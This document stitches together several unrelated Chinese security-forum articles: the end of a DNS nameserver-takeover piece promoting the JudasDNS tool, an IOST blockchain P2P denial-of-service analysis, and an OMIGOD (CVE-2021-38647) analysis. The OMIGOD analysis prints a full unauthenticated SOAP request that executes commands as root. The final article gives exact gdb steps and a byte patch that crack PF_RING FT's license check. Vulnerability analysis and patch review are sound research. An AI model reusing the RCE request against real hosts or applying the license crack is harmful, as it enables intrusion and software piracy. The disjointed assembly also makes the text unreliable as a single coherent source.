存在漏洞的域名是sen.gov，美国参议院内部的一个网址缩短服务。这个域名的权威解析服务器有一个不存在的域名–“ns1-201-akam.net”。这可能是一个拼写错误的ns1-201.akam.net域名，ns1-201.akam.net域名是一个子域名，属于Akamai，这种轻微的错误造成了大量的安全问题，而这往往是你最不想看到的。这对于攻击者来讲，有可能是一个金矿，攻击者为了对目标进行钓鱼攻击或其它攻击，可以通过基于DNS的恶意重定向实现目的。由于这个漏洞的高危性和可利用性，我自己购买了这个域名，并封锁了这个域名上的所有DNS流量(这样做的结果是：在这个解析服务器上的所有查询都会失败，查询会自动跳转到其它正常工作中的解析服务器上，研究者的目的是保护这个域名，防止被坏人利用，所有就索性自己先把这个漏洞域名管理上。实际上，是为了保护这个网络不受攻击)。这个做法基本上暂时“堵住”了这个漏洞(暂时是安全的)，直到这个网站的管理员修复它。在此之后，我联系了“.gov”的注册机构，他们将我的担忧转发给了这个网站的管理员，这个管理员很快修复了该漏洞，他们的响应速度令人印象深刻。然而，这表明，这种类型的漏洞可以发生在任何人身上。除了这里列出的这两个例子，还有许多存在的，但并没有被列出来的例子，证明这不是一个孤立的问题。
**Judas DNS–一个接管解析服务器的利用工具**
为了使利用这种独特漏洞的过程更容易，我已经创建了一个利用恶意权威解析服务器的POC代码，当你已经接管了一个目标解析服务器时，你可以使用它。Judas服务会将所有的DNS请求代理到配置的权威解析服务器上，Judas的配置文件很神奇，它根据源IP、或DNS查询的类型，允许你配置DNS的响应数据。这允许一个攻击者配置一个恶意解析服务器，能做很多事件，比如选择性地重新路由来自指定源IP范围的入站电子邮件(通过修改MX记录)，设置TTL时间等。
[Judas DNS Github](https://github.com/mandatoryprogrammer/JudasDNS)
**最后的想法**
这个漏洞包含所有危险漏洞的特征。不仅是因为它很容易通过一个拼写错误或一个解析服务器的过期域名，导致该漏洞，而且由于DNS客户端故障转移的特点，导致并不能一眼就识别出这个漏洞。这意味着，它不仅可以发生在任何人身上，而且可能在很长一段时间内都察觉不到。
关于如何修补这个问题，非常有趣，因为在TLD(顶级域名)这一级上，就有可能会减轻这个问题。实际上，TLD的操作者仅仅对DNS的健康状况做一些检查，就可以确定所有域名的解析服务器是否处在工作中(仅需要检查一下域名，看一看是否能返回一个IP，或查看是否返回NXDOMAIN)，就可能完全阻止这种劫持攻击。然而，我怀疑这个工作对TLDs来讲可能是一个非常繁重的工作，并且很有可能出现错误。毕竟，如果TLD自动移除那些可能存在域名漏洞的解析服务器，弄不好就会出现断网事件，肯定会掉入赔偿的地狱。因此，如何大规模修补这个漏洞仍然是一个有趣的问题。
**参考链接**
什么是解析服务器：
<http://www.inmotionhosting.com/support/domain-names/dns-nameserver-changes/what-is-a-name-server>
A记录与NS记录——DNS资源类型：
<http://blog.chinaunix.net/uid-26404477-id-3432550.html>
权威解析服务器：
<http://www.cnblogs.com/Mr-Cheng/p/4366095.html>
如何查看域名的NS记录：
<http://www.dns0755.net/news/74.html>
域名NS记录是什么：
<http://www.51edu.com/it/wzjs/81389.html>
DNS原理及解析过程：
<http://www.cnblogs.com/vincently/p/4670597.html>
<https://msdn.microsoft.com/ZH-CN/library/dd197427>
DNS基本操作详解：
<http://www.cnblogs.com/cobbliu/archive/2013/03/24/2979521.html> | 社区文章 |
# IOST公链P2P远程拒绝服务漏洞
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞分析
IOST公链使用Go语言开发，Go语言的make函数如果参数控制不当容易产生拒绝服务漏洞。在IOST的公链代码中搜索 **make**
,找到了一处貌似可以利用的地方。
func (sy *SyncImpl) getBlockHashes(start int64, end int64) *msgpb.BlockHashResponse {
resp := &msgpb.BlockHashResponse{
BlockInfos: make([]*msgpb.BlockInfo, 0, end-start+1),
}
node := sy.blockCache.Head()
if node != nil && end > node.Head.Number {
end = node.Head.Number
}
省略...
Line3 make的第3个参数为end-start+1, end和start来自handleHashQuery
func (sy *SyncImpl) handleHashQuery(rh *msgpb.BlockHashQuery, peerID p2p.PeerID) {
if rh.End < rh.Start || rh.Start < 0 {
return
}
var resp *msgpb.BlockHashResponse
switch rh.ReqType {
case msgpb.RequireType_GETBLOCKHASHES:
resp = sy.getBlockHashes(rh.Start, rh.End)
case msgpb.RequireType_GETBLOCKHASHESBYNUMBER:
resp = sy.getBlockHashesByNums(rh.Nums)
}
省略...
可以看到并没有限制end-start+1的大小，只要end足够大,start足够小就可以导致拒绝服务。所以现在问题就只剩下如何触发这个漏洞。
## 漏洞利用
IOST节点之间的P2P通信使用的是libp2p，libp2p是一个模块化的网络堆栈，汇集了各种传输和点对点协议，使开发人员可以轻松构建大型，强大的p2p网络。
来看一看IOST节点的P2P service启动流程。
首先创建一个NetService，代码如下:
// NewNetService returns a NetService instance with the config argument.
func NewNetService(config *common.P2PConfig) (*NetService, error) {
ns := &NetService{
config: config,
}
if err := os.MkdirAll(config.DataPath, 0755); config.DataPath != "" && err != nil {
ilog.Errorf("failed to create p2p datapath, err=%v, path=%v", err, config.DataPath)
return nil, err
}
privKey, err := getOrCreateKey(filepath.Join(config.DataPath, privKeyFile))
if err != nil {
ilog.Errorf("failed to get private key. err=%v, path=%v", err, config.DataPath)
return nil, err
}
host, err := ns.startHost(privKey, config.ListenAddr)
if err != nil {
ilog.Errorf("failed to start a host. err=%v, listenAddr=%v", err, config.ListenAddr)
return nil, err
}
ns.host = host
ns.PeerManager = NewPeerManager(host, config)
ns.adminServer = newAdminServer(config.AdminPort, ns.PeerManager)
return ns, nil
}
主要看Line18的startHost，该函数调用libp2p库创建了一个host
// startHost starts a libp2p host.
func (ns *NetService) startHost(pk crypto.PrivKey, listenAddr string) (host.Host, error) {
tcpAddr, err := net.ResolveTCPAddr("tcp", listenAddr)
if err != nil {
return nil, err
}
if !isPortAvailable(tcpAddr.Port) {
return nil, ErrPortUnavailable
}
opts := []libp2p.Option{
libp2p.Identity(pk),
libp2p.NATPortMap(),
libp2p.ListenAddrStrings(fmt.Sprintf("/ip4/%s/tcp/%d", tcpAddr.IP, tcpAddr.Port)),
libp2p.Muxer(protocolID, mplex.DefaultTransport),
}
h, err := libp2p.New(context.Background(), opts...)
if err != nil {
return nil, err
}
h.SetStreamHandler(protocolID, ns.streamHandler)
return h, nil
}
该host的流处理逻辑在ns.streamHandler中
func (ns *NetService) streamHandler(s libnet.Stream) {
ns.PeerManager.HandleStream(s, inbound)
}
steamHandler又调用PeerManager的HandleStream函数
// HandleStream handles the incoming stream.
//
// It checks whether the remote peer already exists.
// If the peer is new and the neighbor count doesn't reach the threshold, it adds the peer into the neighbor list.
// If peer already exits, just add the stream to the peer.
// In other cases, reset the stream.
func (pm *PeerManager) HandleStream(s libnet.Stream, direction connDirection) {
remotePID := s.Conn().RemotePeer()
pm.freshPeer(remotePID)
if pm.isStreamBlack(s) {
ilog.Infof("remote peer is in black list. pid=%v, addr=%v", remotePID.Pretty(), s.Conn().RemoteMultiaddr())
s.Conn().Close()
return
}
ilog.Debugf("handle new stream. pid=%s, addr=%v, direction=%v", remotePID.Pretty(), s.Conn().RemoteMultiaddr(), direction)
peer := pm.GetNeighbor(remotePID)
if peer != nil {
s.Reset()
return
}
if pm.NeighborCount(direction) >= pm.neighborCap[direction] {
if !pm.isBP(remotePID) {
ilog.Infof("neighbor count exceeds, close connection. remoteID=%v, addr=%v", remotePID.Pretty(), s.Conn().RemoteMultiaddr())
if direction == inbound {
bytes, _ := pm.getRoutingResponse([]string{remotePID.Pretty()})
if len(bytes) > 0 {
msg := newP2PMessage(pm.config.ChainID, RoutingTableResponse, pm.config.Version, defaultReservedFlag, bytes)
s.Write(msg.content())
}
time.AfterFunc(time.Second, func() { s.Conn().Close() })
} else {
s.Conn().Close()
}
return
}
pm.kickNormalNeighbors(direction)
}
pm.AddNeighbor(NewPeer(s, pm, direction))
return
}
对于新建立连接的peer，IOST会启动该peer并添加到neighbor list中
// AddNeighbor starts a peer and adds it to the neighbor list.
func (pm *PeerManager) AddNeighbor(p *Peer) {
pm.neighborMutex.Lock()
defer pm.neighborMutex.Unlock()
if pm.neighbors[p.id] == nil {
p.Start()
pm.storePeerInfo(p.id, []multiaddr.Multiaddr{p.addr})
pm.neighbors[p.id] = p
pm.neighborCount[p.direction]++
}
}
peer启动之后，IOST会调用peer的readLoop和writeLoop函数对该peer进行读写。
// Start starts peer's loop.
func (p *Peer) Start() {
ilog.Infof("peer is started. id=%s", p.ID())
go p.readLoop()
go p.writeLoop()
}
我们主要看readLoop，看IOST对我们发送的数据如何处理。
func (p *Peer) readLoop() {
header := make([]byte, dataBegin)
for {
_, err := io.ReadFull(p.stream, header)
if err != nil {
ilog.Warnf("read header failed. err=%v", err)
break
}
chainID := binary.BigEndian.Uint32(header[chainIDBegin:chainIDEnd])
if chainID != p.peerManager.config.ChainID {
ilog.Warnf("mismatched chainID. chainID=%d", chainID)
break
}
length := binary.BigEndian.Uint32(header[dataLengthBegin:dataLengthEnd])
if length > maxDataLength {
ilog.Warnf("data length too large: %d", length)
break
}
data := make([]byte, dataBegin+length)
_, err = io.ReadFull(p.stream, data[dataBegin:])
if err != nil {
ilog.Warnf("read message failed. err=%v", err)
break
}
copy(data[0:dataBegin], header)
msg, err := parseP2PMessage(data)
if err != nil {
ilog.Errorf("parse p2pmessage failed. err=%v", err)
break
}
tagkv := map[string]string{"mtype": msg.messageType().String()}
byteInCounter.Add(float64(len(msg.content())), tagkv)
packetInCounter.Add(1, tagkv)
p.handleMessage(msg)
}
p.peerManager.RemoveNeighbor(p.id)
}
主要是读取一个固定长度的header，然后根据header中的length来读取data，通过header和data创建一个P2PMessage，最后调用handleMessage来处理这个msg。
节点发送的数据包结构如下：
/*
P2PMessage protocol:
0 1 2 3 (bytes)
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Chain ID |
+-------------------------------+-------------------------------+
| Message Type | Version |
+-------------------------------+-------------------------------+
| Data Length |
+---------------------------------------------------------------+
| Data Checksum |
+---------------------------------------------------------------+
| Reserved |
+---------------------------------------------------------------+
| |
. Data .
| |
+---------------------------------------------------------------+
*/
handleMessage会根据messageType对message进行处理
// HandleMessage handles messages according to its type.
func (pm *PeerManager) HandleMessage(msg *p2pMessage, peerID peer.ID) {
data, err := msg.data()
if err != nil {
ilog.Errorf("get message data failed. err=%v", err)
return
}
switch msg.messageType() {
case RoutingTableQuery:
go pm.handleRoutingTableQuery(msg, peerID)
case RoutingTableResponse:
go pm.handleRoutingTableResponse(msg)
default:
inMsg := NewIncomingMessage(peerID, data, msg.messageType())
if m, exist := pm.subs.Load(msg.messageType()); exist {
m.(*sync.Map).Range(func(k, v interface{}) bool {
select {
case v.(chan IncomingMessage) <- *inMsg:
default:
ilog.Warnf("sending incoming message failed. type=%s", msg.messageType())
}
return true
})
}
}
}
了解了IOST节点之间P2P通信的处理逻辑，再来看看如何触发存在漏洞的handleHashQuery函数。
messageLoop中调用了handlerHashQuery
func (sy *SyncImpl) messageLoop() {
defer sy.wg.Done()
for {
select {
case req := <-sy.messageChan:
switch req.Type() {
case p2p.SyncBlockHashRequest:
var rh msgpb.BlockHashQuery
err := proto.Unmarshal(req.Data(), &rh)
if err != nil {
ilog.Errorf("Unmarshal BlockHashQuery failed:%v", err)
break
}
go sy.handleHashQuery(&rh, req.From())
省略...
可以看到当messageType为p2p.SyncBlockHashRequest，Data为BlockHashQuery时，handlerHashQuery函数会被调用。
BlockHashQuery的结构如下, End和Start的值可控。
type BlockHashQuery struct {
ReqType RequireType `protobuf:"varint,1,opt,name=reqType,proto3,enum=msgpb.RequireType" json:"reqType,omitempty"`
Start int64 `protobuf:"varint,2,opt,name=start,proto3" json:"start,omitempty"`
End int64 `protobuf:"varint,3,opt,name=end,proto3" json:"end,omitempty"`
Nums []int64 `protobuf:"varint,4,rep,packed,name=nums,proto3" json:"nums,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
}
因此，我们可以构造一个Message，将Start的值设为0,End的值设为math.MaxInt64，将该Message发送给节点，就可以触发make函数的cap
out of range，导致拒绝服务。
POC见 <https://github.com/fatal0/poc/blob/master/go-iost/p2p_dos.go>
## 漏洞修复
官方的修复方式也很简单，限制end-start+1的大小。
<https://github.com/iost-official/go-iost/commit/9824cfce3bb4b14f43b60f470cbba86e879dd32a#diff-4e27320b328b8f0d452f10e1ed383d73R330> | 社区文章 |
**作者：凌云
公众号：[我会永远在你身后](https://mp.weixin.qq.com/s/vj5OPvqAPxCpDqIi0dtgWQ "我会永远在你身后")**
* * * | 社区文章 |
# OMIGOD：CVE-2021-38647 OMI远程代码执行漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 基本情况
微软在2021年9月的补丁更新中，修复了其[Open Management Infrastructure (OMI)
](https://github.com/microsoft/omi)中的多个漏洞，其中最为严重一个是远程代码执行漏洞，编号为[CVE-2021-38647](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647)，也被称为OMIGOD，该漏洞影响OMI
1.6.8.0及以下版本。该漏洞能够在未授权情况下，远程以root权限执行任意命令，影响范围较大，CVSS评分9.8，建议存在漏洞版本尽快升级OMI版本。
## OMI介绍
OMI是微软开发并开源的远程配置管理工具，其主体使用C语言编写，主要用于UNIX/Linux系统上，类是与Windows系统的WMI，它允许用户远程管理配置并收集统计数据。OMI的抽象和易用特征，使得它在Azure中被广泛应用。在Azure
Linux服务器上，OMI Agent通常用于支持以下功能和服务：
* Azure Automation
* Azure Automatic Update
* Azure Operations Management Suite
* Azure Log Analytics
* Azure Configuration Management
* Azure Diagnostics
* Azure Container Insights
在OMI独立安装、Azure Configuration Management或System Center Operations Manager
(SCOM)默认配置情况下，OMI的进程omiengine以root用户身份运行，并且默认会开启端 (通常为5986/5985/1270)
监听来至任意地址的连接。如下图所示：
这种配置正常情况下，用户认证之后，通过OMI可以远程管理配置Azure环境。
## 漏洞分析
### 漏洞成因
正常情况下，用户可以使用omicli连接远程服务端执行命令，例如可以执行查看id的命令：
/opt/omi/bin/omicli --hostname xx.xx.xx.xx -u xxxx -p xxxx iv root/scx { SCX_OperatingSystem } ExecuteShellCommand { command 'id' timeout 0 }
则口令正确的情况下返回为：
instance of ExecuteShellCommand
{
ReturnValue=true
ReturnCode=0
StdOut=uid=1000(xxxx) gid=1000(xxxx) groups=1000(xxxx),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)
StdErr=
}
对应的数据包为：
HTTP/1.1 200 OK
Content-Length: 1415
Connection: Keep-Alive
Content-Type: application/soap+xml;charset=UTF-8
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:e="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:msftwinrm="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wsmb="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<SOAP-ENV:Header>
<wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To>
<wsa:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</wsa:Action>
<wsa:MessageID>uuid:6E73E6A0-C38A-0005-0000-000000020000</wsa:MessageID>
<wsa:RelatesTo>uuid:0AB58087-C2C3-0005-0000-000000010000</wsa:RelatesTo>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<p:SCX_OperatingSystem_OUTPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:ReturnValue>TRUE</p:ReturnValue>
<p:ReturnCode>0</p:ReturnCode>
<p:StdOut>uid=1000(xxxx) gid=1000(xxxx) groups=1000(xxxx),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)</p:StdOut>
<p:StdErr />
</p:SCX_OperatingSystem_OUTPUT>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
当口令错误的情况下返回的数据包如下：
HTTP/1.1 401 Unauthorized
Content-Length: 0
WWW-Authenticate: Basic realm="WSMAN"
WWW-Authenticate: Negotiate
WWW-Authenticate: Kerberos
但是如果在发送执行命令请求数据包时，不带Authorization头，发送数据包如下：
POST /wsman HTTP/1.1
Connection: Keep-Alive
Content-Length: 1505
Content-Type: application/soap+xml;charset=UTF-8
Host: xx.xx.xx.xx:5986
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema">
<s:Header>
<a:To>HTTP://xx.xx.xx.xx:5986/wsman/</a:To>
<w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
<a:ReplyTo>
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
</a:ReplyTo>
<a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</a:Action>
<w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
<a:MessageID>uuid:0AB58087-C2C3-0005-0000-000000010000</a:MessageID>
<w:OperationTimeout>PT1M30S</w:OperationTimeout>
<w:Locale xml:lang="en-us" s:mustUnderstand="false" />
<p:DataLocale xml:lang="en-us" s:mustUnderstand="false" />
<w:OptionSet s:mustUnderstand="true" />
<w:SelectorSet>
<w:Selector Name="__cimnamespace">root/scx</w:Selector>
</w:SelectorSet>
</s:Header>
<s:Body>
<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:command>id</p:command>
<p:timeout>0</p:timeout>
</p:ExecuteShellCommand_INPUT>
</s:Body>
</s:Envelope>
此时返回值为：
HTTP/1.1 200 OK
Content-Length: 1415
Connection: Keep-Alive
Content-Type: application/soap+xml;charset=UTF-8
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:e="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:msftwinrm="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wsmb="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<SOAP-ENV:Header>
<wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To>
<wsa:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</wsa:Action>
<wsa:MessageID>uuid:6E73E6A0-C38A-0005-0000-000000030000</wsa:MessageID>
<wsa:RelatesTo>uuid:0AB58087-C2C3-0005-0000-000000010000</wsa:RelatesTo>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<p:SCX_OperatingSystem_OUTPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:ReturnValue>TRUE</p:ReturnValue>
<p:ReturnCode>0</p:ReturnCode>
<p:StdOut>uid=0(root) gid=0(root) groups=0(root)</p:StdOut>
<p:StdErr />
</p:SCX_OperatingSystem_OUTPUT>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
是不是非常的神奇，此时就出现了未认证情况下的远程代码执行情况，而且是以root用户权限的命令执行。
为什么会出现这个情况？
对照源代码进行分析，首先用户进行远程连接时，首先会进入http.c文件中的_ListenerCallback函数进行处理，该该函数为登录用户创建一个Http_Listener_SocketData并进行初始化，如下：
static MI_Boolean _ListenerCallback(
Selector* sel,
Handler* handler_,
MI_Uint32 mask,
MI_Uint64 currentTimeUsec)
{
Http_Listener_SocketData* handler = (Http_Listener_SocketData*)handler_; //创建Http_Listener_SocketData
Http* self = (Http*)handler->base.data;
MI_Result r;
Sock s;
Addr addr;
Http_SR_SocketData* h;
MI_UNUSED(sel);
MI_UNUSED(mask);
MI_UNUSED(currentTimeUsec);
if (mask & SELECTOR_READ)
{
/* Accept the incoming connection */
r = Sock_Accept(handler->base.sock, &s, &addr);
if (MI_RESULT_WOULD_BLOCK == r)
return MI_TRUE;
if (r != MI_RESULT_OK)
{
trace_SockAccept_Failed(ENGINE_TYPE, Sock_GetLastError());
return MI_TRUE;
}
r = Sock_SetBlocking(s, MI_FALSE);
if (r != MI_RESULT_OK)
{
trace_SockSetBlocking_Failed(ENGINE_TYPE);
HttpAuth_Close(handler_);
Sock_Close(s);
return MI_TRUE;
}
/* Create handler */
h = (Http_SR_SocketData*)Strand_New( STRAND_DEBUG( HttpSocket ) &_HttpSocket_FT, sizeof(Http_SR_SocketData), STRAND_FLAG_ENTERSTRAND, NULL );
if (!h)
{
trace_SocketClose_Http_SR_SocketDataAllocFailed();
HttpAuth_Close(handler_);
Sock_Close(s);
return MI_TRUE;
}
/* Primary refount -- secondary one is for posting to protocol thread safely */
h->refcount = 1; //初始化Http_Listener_SocketData
h->http = self;
h->pAuthContext = NULL;
h->pVerifierCred = NULL;
h->isAuthorised = FALSE;
h->authFailed = FALSE;
h->encryptedTransaction = FALSE;
h->pSendAuthHeader = NULL;
h->sendAuthHeaderLen = 0;
-------- }
}
可以发现此时初始化将isAuthorised设为FALSE，并且未初始化authInfo.uid和authInfo.gid。
接着_ListenerCallback函数调用到_ReadData函数，该函数用于接收输入的数据并且进行处理，下面重点分析_ReadData函数的处理逻辑：
static Http_CallbackResult _ReadData(
Http_SR_SocketData* handler)
{
char* buf;
size_t buf_size, received;
MI_Result r;
/* are we in the right state? */
if (handler->recvingState != RECV_STATE_CONTENT)
return PRT_RETURN_FALSE;
buf = ((char*)(handler->recvPage + 1)) + handler->receivedSize;
buf_size = handler->recvHeaders.contentLength - handler->receivedSize;
received = 0;
if (buf_size)
{
r = _Sock_Read(handler, buf, buf_size, &received);
if ( r == MI_RESULT_OK && 0 == received )
return PRT_RETURN_FALSE; /* conection closed */
if ( r != MI_RESULT_OK && r != MI_RESULT_WOULD_BLOCK )
return PRT_RETURN_FALSE;
handler->receivedSize += received;
}
/* did we get all data? */
if ( handler->receivedSize != handler->recvHeaders.contentLength )
return PRT_RETURN_TRUE;
/* If we are authorised, but the client is sending an auth header, then
* we need to tear down all of the auth state and authorise again.
* NeedsReauthorization does the teardown
*/
if(handler->recvHeaders.authorization) // （1） 判断是否收到authorization
{
Http_CallbackResult authorized;
handler->requestIsBeingProcessed = MI_TRUE;
if (handler->isAuthorised)
{
Deauthorize(handler);
}
authorized = IsClientAuthorized(handler);
if (PRT_RETURN_FALSE == authorized)
{
goto Done;
}
else if (PRT_CONTINUE == authorized)
{
return PRT_CONTINUE;
}
}
else
{
/* Once we are unauthorised we remain unauthorised until the client
starts the auth process again */
if (handler->authFailed) // （2） authFailed判断
{
handler->httpErrorCode = HTTP_ERROR_CODE_UNAUTHORIZED;
return PRT_RETURN_FALSE;
}
}
r = Process_Authorized_Message(handler); // （3） Message处理
if (MI_RESULT_OK != r)
{
return PRT_RETURN_FALSE;
}
Done:
handler->recvPage = 0;
handler->receivedSize = 0;
memset(&handler->recvHeaders, 0, sizeof(handler->recvHeaders));
handler->recvingState = RECV_STATE_HEADER;
return PRT_CONTINUE;
}
由上面代码可以发现，当发送数据包不带Authorization字段时，函数处理会进入else处理部分，会判断authFailed，由于authFailed为FALSE，则会跳出执行到Process_Authorized_Message函数，则就会出现未认证的情况下执行命令的情况，由于此时是在OMI进程中，因此会以root用户权限执行。
到此，我们即发现了漏洞的成因，该漏洞是在逻辑设计的过程中，对认证过程校验不严格导致的。
### 漏洞补丁
通过漏洞成因分析，我们可以发现，漏洞出现的原因主要是在http.c文件中的_ListenerCallback和_ReadData函数中，因此漏洞修复也主要是在这两个函数中进行。通过对比OMI源码发现：
_ListenerCallback函数在初始化部分进行修复，将authInfo.uid和authInfo.gid初始化为INVALID_ID，如下面代码所示：
static MI_Boolean _ListenerCallback(
Selector* sel,
Handler* handler_,
MI_Uint32 mask,
MI_Uint64 currentTimeUsec)
{
--------
/* Primary refount -- secondary one is for posting to protocol thread safely */
h->refcount = 1;
h->http = self;
h->pAuthContext = NULL;
h->pVerifierCred = NULL;
h->isAuthorised = FALSE;
h->authFailed = FALSE;
h->encryptedTransaction = FALSE;
h->pSendAuthHeader = NULL;
h->sendAuthHeaderLen = 0;
h->authInfo.uid= INVALID_ID; //补丁修复部分
h->authInfo.gid= INVALID_ID; //补丁修复部分
--------
return MI_TRUE;
}
修复前后代码对比如下图：
_ReadData函数修复主要是在函数Process_Authorized_Message执行之前，加入isAuthorised的判断，如下面代码：
static Http_CallbackResult _ReadData(
Http_SR_SocketData* handler)
{
if (handler->isAuthorised)
{
r = Process_Authorized_Message(handler);
if (MI_RESULT_OK != r)
{
return PRT_RETURN_FALSE;
}
}
------ }
修复前后代码对比如下图：
## 总结建议
该漏洞是一个认证逻辑上存在缺陷导致的远程代码执行漏洞，漏洞影响范围较大，且利用前置条件简单，建议立即更新受此漏洞影响的Azure产品，或者手动操作以确保OMI版本升级到最新版本。
* Debian系统（例如Ubuntu）:dpkg -l omi
* RedHat系统（例如Fedora，CentOS, RHEL）:rpm -qa omi
## 参考资料
1.<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647>
2.<https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/>
3.<https://msrc-blog.microsoft.com/2021/09/16/additional-guidance-regarding-omi-vulnerabilities-within-azure-vm-management-extensions/> | 社区文章 |
# PF_RING FT 证书检测漏洞利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 PF_RING FT功能介绍
源码地址： <https://github.com/ntop/PF_RING>
简介：
PF_RING™ FT is taking one step further, it assists any flow processing
application in the packet classification activity. PF_RING™ FT implements a
flow table that can be used to keep track of flows and provides many hooks to
be able to customize and extend it for building any type of application on top
of it, including probes, IDSs, IPSs, L7 firewalls.
Although PF_RING™ FT is distributed with PF_RING™, it is possible to use the
library with any third-party packet capture framework (including Libpcap and
DPDK), as its data-ingestion API is capture-agnostic.
API： <https://github.com/ntop/PF_RING/blob/dev/doc/ft.rst>
## 0X02 安装过程
安装文档： <https://www.ntop.org/guides/pf_ring/get_started/git_installation.html>
FT 模式需要安装nDPI，nDPI源码地址： <https://github.com/ntop/nDPI>
## 0X03 利用过程
### 情报收集
搜到几篇文章，普遍认为pfring_ft_create_table 的 callq <license_init> 用于检测
license，只要修改这部分逻辑变可以利用该漏洞。
### 情报验证
1）运行PF_RING/userland/examples_ft/ftflow，程序提示需要购买一个证书
2）反汇编PF_RING/userland/examples_ft/ftflow，得到ftflow.s （objdump -d ftflow >
ftflow.s），重点关注pfring_ft_create_table 函数的2aa1e,2aa23两条指令
3）使用gdb调试PF_RING/userland/examples_ft/ftflow程序
1. 在2aa1e处下断点。b *(&pfring_ft_create_table + 30)
2. 设置启动参数。r -7 -i lo
3. 修改PC寄存器跳过2aa1e指令。$rip=$rip+5
4. 修改返回值。set $rax=0
5. 继续运行。c
经过上述几处修改，可以看到没有无效证书的提示了，证明跳过callq <license_init>指令确实能绕过证书检测。
### 修改程序
1）搜索 e89d fcff ff85 c0，将 e89d fcff ff 换成 b800 0000 00
2）再次反汇编PF_RING/userland/examples_ft/ftflow
3）运行PF_RING/userland/examples_ft/ftflow，确认ftflow已经无证书验证流程，证书检查已经被破解。
## 0x04 技术延申
通过上述方法我们能够利用证书验证的漏洞破解ft模式的可执行程序，但是每次修改源码、重新编译程序都要重新修改，这样显然太麻烦了。我们需要继续分析ftflow的编译过程。经过查询各个层级的Makefile，pfring_ft_create_table函数定义在PF_RING/lib/libs/libpfring_ft_x86_64_dl.a/pfring_ft_table.o，我们0x0303的方法重新修改pfring_ft_table.o，然后重打包libpfring_ft_x86_64_dl.a，这样以来我们便可以反复调试ft的代码了。
## 0x05 总结
漏洞利用之前要做好情报收集工作，情报分析时要有取其精华取其糟粕的能力，当前流传的利用文章只能在作者自己的工作的环境复现，而且只是一个调试版本。所以我整理了一份通用版本。
